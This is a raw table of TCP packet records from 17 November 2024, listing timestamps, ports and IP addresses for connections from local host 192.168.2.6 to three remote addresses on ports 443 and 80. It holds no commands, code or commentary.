Nov 17, 2024 10:07:15.205108881 CET	49720	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.205116987 CET	443	49720	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.208025932 CET	49722	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.208053112 CET	443	49722	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.208137989 CET	49722	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.208283901 CET	49722	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.208298922 CET	443	49722	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.209391117 CET	443	49719	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.209721088 CET	443	49719	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.209781885 CET	49719	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.209842920 CET	49719	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.209842920 CET	49719	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.209877014 CET	443	49719	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.209896088 CET	443	49719	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.210026979 CET	443	49718	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.210166931 CET	443	49718	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.210216045 CET	49718	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.210736990 CET	49718	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.210757971 CET	443	49718	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.210771084 CET	49718	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.210777998 CET	443	49718	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.212409973 CET	49723	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.212443113 CET	443	49723	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.212523937 CET	49723	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.212642908 CET	49723	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.212661028 CET	443	49723	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.212815046 CET	49724	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.212845087 CET	443	49724	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.212843895 CET	443	49717	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.212901115 CET	443	49717	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.212974072 CET	49717	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.212987900 CET	49724	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.213013887 CET	49724	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.213032961 CET	443	49724	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.213215113 CET	49717	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.213215113 CET	49717	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.213241100 CET	443	49717	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.213259935 CET	443	49717	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.215207100 CET	49725	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.215300083 CET	443	49725	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.215396881 CET	49725	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.215527058 CET	49725	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.215563059 CET	443	49725	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.329505920 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:15.334698915 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:15.334795952 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:15.335408926 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:15.340250969 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:15.817255974 CET	49727	443	192.168.2.6	40.113.103.199
Nov 17, 2024 10:07:15.817367077 CET	443	49727	40.113.103.199	192.168.2.6
Nov 17, 2024 10:07:15.817451954 CET	49727	443	192.168.2.6	40.113.103.199
Nov 17, 2024 10:07:15.818370104 CET	49727	443	192.168.2.6	40.113.103.199
Nov 17, 2024 10:07:15.818391085 CET	443	49727	40.113.103.199	192.168.2.6
Nov 17, 2024 10:07:15.910242081 CET	443	49721	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.910723925 CET	49721	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.910763025 CET	443	49721	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.911254883 CET	49721	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.911262989 CET	443	49721	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.935132980 CET	443	49725	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.935611010 CET	49725	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.935647011 CET	443	49725	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.936135054 CET	443	49722	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.936256886 CET	49725	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.936265945 CET	443	49725	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.936537981 CET	49722	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.936549902 CET	443	49722	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.936948061 CET	49722	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.936953068 CET	443	49722	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.945194006 CET	443	49724	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.945684910 CET	49724	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.945714951 CET	443	49724	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.946316957 CET	49724	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.946331024 CET	443	49724	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.959685087 CET	443	49723	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.960376978 CET	49723	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.960443020 CET	443	49723	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:15.960776091 CET	49723	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:15.960789919 CET	443	49723	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:16.042280912 CET	443	49721	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:16.042422056 CET	443	49721	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:16.042494059 CET	49721	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:16.042749882 CET	49721	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:16.042773008 CET	443	49721	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:16.042813063 CET	49721	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:16.042819023 CET	443	49721	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:16.045886040 CET	49728	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:16.045950890 CET	443	49728	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:16.046020031 CET	49728	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:16.046154022 CET	49728	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:16.046175003 CET	443	49728	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:16.063642979 CET	443	49725	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:16.063802004 CET	443	49725	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:16.063868999 CET	49725	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:16.063922882 CET	49725	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:16.063940048 CET	443	49725	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:16.063955069 CET	49725	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:16.063961029 CET	443	49725	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:16.065093040 CET	443	49722	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:16.065252066 CET	443	49722	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:16.065308094 CET	49722	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:16.065818071 CET	49722	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:16.065833092 CET	443	49722	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:16.065844059 CET	49722	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:16.065850973 CET	443	49722	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:16.072446108 CET	49729	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:16.072519064 CET	443	49729	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:16.072698116 CET	49729	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:16.073067904 CET	49729	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:16.073096037 CET	443	49729	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:16.074040890 CET	443	49724	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:16.074194908 CET	443	49724	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:16.074273109 CET	49724	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:16.074486017 CET	49724	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:16.074486017 CET	49724	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:16.074498892 CET	443	49724	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:16.074508905 CET	443	49724	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:16.075498104 CET	49730	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:16.075520039 CET	443	49730	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:16.075577974 CET	49730	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:16.077352047 CET	49730	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:16.077369928 CET	443	49730	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:16.091384888 CET	443	49723	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:16.091509104 CET	443	49723	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:16.091598034 CET	49723	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:16.100641012 CET	49723	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:16.100687027 CET	443	49723	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:16.100718975 CET	49723	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:16.100733995 CET	443	49723	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:16.101296902 CET	49731	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:16.101330042 CET	443	49731	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:16.101402044 CET	49731	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:16.101872921 CET	49731	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:16.101882935 CET	443	49731	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:16.104866982 CET	49732	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:16.104923964 CET	443	49732	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:16.104990959 CET	49732	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:16.105302095 CET	49732	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:16.105338097 CET	443	49732	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:16.228754997 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:16.228909969 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:16.232630968 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:16.237503052 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:16.528295040 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:16.528521061 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:16.529704094 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:16.534519911 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:16.974292040 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:16.974311113 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:16.974332094 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:16.974459887 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:16.974500895 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:16.974500895 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:16.977108002 CET	443	49727	40.113.103.199	192.168.2.6
Nov 17, 2024 10:07:16.977246046 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:16.977253914 CET	49727	443	192.168.2.6	40.113.103.199
Nov 17, 2024 10:07:16.978677034 CET	443	49729	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:16.978683949 CET	443	49728	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:16.983731031 CET	443	49731	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:16.985325098 CET	443	49730	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:16.995079994 CET	49727	443	192.168.2.6	40.113.103.199
Nov 17, 2024 10:07:16.995106936 CET	443	49727	40.113.103.199	192.168.2.6
Nov 17, 2024 10:07:16.995460033 CET	443	49727	40.113.103.199	192.168.2.6
Nov 17, 2024 10:07:17.019479036 CET	49728	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.019541979 CET	49729	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.035058975 CET	49727	443	192.168.2.6	40.113.103.199
Nov 17, 2024 10:07:17.035062075 CET	49730	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.035084963 CET	49731	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.065809011 CET	49730	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.065828085 CET	443	49730	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.069684982 CET	49730	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.069693089 CET	443	49730	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.073298931 CET	49729	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.073313951 CET	443	49729	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.073574066 CET	49729	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.073580980 CET	443	49729	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.077167034 CET	49728	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.077174902 CET	443	49728	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.080838919 CET	49728	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.080845118 CET	443	49728	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.081104994 CET	49731	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.081113100 CET	443	49731	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.084930897 CET	49731	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.084935904 CET	443	49731	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.092319012 CET	49727	443	192.168.2.6	40.113.103.199
Nov 17, 2024 10:07:17.092422962 CET	49727	443	192.168.2.6	40.113.103.199
Nov 17, 2024 10:07:17.092432976 CET	443	49727	40.113.103.199	192.168.2.6
Nov 17, 2024 10:07:17.092582941 CET	49727	443	192.168.2.6	40.113.103.199
Nov 17, 2024 10:07:17.099706888 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:17.104583025 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:17.107930899 CET	443	49732	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.139343977 CET	443	49727	40.113.103.199	192.168.2.6
Nov 17, 2024 10:07:17.151292086 CET	49732	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.151365995 CET	443	49732	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.151945114 CET	49732	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.151959896 CET	443	49732	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.196635962 CET	443	49730	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.197396040 CET	443	49730	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.197465897 CET	49730	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.197791100 CET	443	49729	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.198013067 CET	443	49729	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.198071957 CET	49729	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.206967115 CET	443	49728	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.207130909 CET	443	49728	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.207178116 CET	49728	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.209816933 CET	443	49731	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.209945917 CET	443	49731	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.209992886 CET	49731	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.213402033 CET	49730	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.213440895 CET	443	49730	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.213463068 CET	49730	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.213471889 CET	443	49730	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.214998007 CET	49731	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.215017080 CET	443	49731	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.215053082 CET	49731	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.215059996 CET	443	49731	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.216073036 CET	49729	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.216092110 CET	443	49729	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.216111898 CET	49729	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.216116905 CET	443	49729	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.219571114 CET	49728	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.219590902 CET	443	49728	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.219604969 CET	49728	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.219611883 CET	443	49728	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.235200882 CET	49733	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.235264063 CET	443	49733	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.235352039 CET	49733	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.235640049 CET	49733	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.235651970 CET	443	49733	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.237149954 CET	49734	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.237232924 CET	443	49734	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.237320900 CET	49734	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.237569094 CET	49734	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.237601995 CET	443	49734	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.239504099 CET	49735	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.239531994 CET	443	49735	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.239593983 CET	49735	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.239686966 CET	49736	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.239703894 CET	49735	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.239716053 CET	443	49735	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.239780903 CET	443	49736	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.239850044 CET	49736	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.239943981 CET	49736	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.239980936 CET	443	49736	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.278836012 CET	443	49732	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.279433012 CET	443	49732	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.279493093 CET	49732	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.279536963 CET	49732	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.279551029 CET	443	49732	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.279566050 CET	49732	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.279572010 CET	443	49732	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.282810926 CET	49737	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.282843113 CET	443	49737	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.283036947 CET	49737	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.283036947 CET	49737	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.283067942 CET	443	49737	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.342698097 CET	443	49727	40.113.103.199	192.168.2.6
Nov 17, 2024 10:07:17.343245983 CET	49727	443	192.168.2.6	40.113.103.199
Nov 17, 2024 10:07:17.343331099 CET	443	49727	40.113.103.199	192.168.2.6
Nov 17, 2024 10:07:17.343393087 CET	49727	443	192.168.2.6	40.113.103.199
Nov 17, 2024 10:07:17.343393087 CET	49727	443	192.168.2.6	40.113.103.199
Nov 17, 2024 10:07:17.377861977 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:17.377888918 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:17.377911091 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:17.377929926 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:17.377938032 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:17.377975941 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:17.377988100 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:17.377993107 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:17.378026009 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:17.378070116 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:17.378112078 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:17.378236055 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:17.378278971 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:17.378546953 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:17.378611088 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:17.379957914 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:17.384897947 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:17.657071114 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:17.657231092 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:17.677820921 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:17.677822113 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:17.677870989 CET	49726	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:17.682810068 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:17.682861090 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:17.682889938 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:17.682944059 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:17.682971001 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:17.682998896 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:17.683027029 CET	80	49726	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:17.973042011 CET	443	49736	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.973568916 CET	49736	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.973617077 CET	443	49733	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.973654032 CET	443	49736	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.973901033 CET	49733	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.973917007 CET	443	49733	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.974045038 CET	49736	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.974071980 CET	443	49736	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.974385977 CET	49733	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.974391937 CET	443	49733	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.975563049 CET	443	49735	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.975836992 CET	49735	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.975843906 CET	443	49735	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.976182938 CET	49735	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.976186991 CET	443	49735	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.985306978 CET	443	49734	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.985586882 CET	49734	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.985649109 CET	443	49734	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:17.985939026 CET	49734	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:17.985958099 CET	443	49734	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.015039921 CET	443	49737	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.015851021 CET	49737	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.015872002 CET	443	49737	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.016315937 CET	49737	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.016320944 CET	443	49737	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.103709936 CET	443	49733	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.103878021 CET	443	49733	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.103938103 CET	49733	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.104064941 CET	49733	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.104079008 CET	443	49733	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.104145050 CET	49733	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.104150057 CET	443	49733	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.104168892 CET	443	49735	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.104341030 CET	443	49735	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.104386091 CET	49735	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.104433060 CET	49735	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.104437113 CET	443	49735	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.104471922 CET	49735	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.104475975 CET	443	49735	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.106924057 CET	49738	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.107044935 CET	443	49738	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.107132912 CET	49738	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.107183933 CET	49739	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.107214928 CET	443	49739	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.107283115 CET	49739	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.107300043 CET	49738	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.107342958 CET	443	49738	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.107623100 CET	49739	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:18.107636929 CET	443	49739	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.117782116 CET	443	49736	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:18.118293047 CET	443	49736	13.107.246.45	192.168.2.6
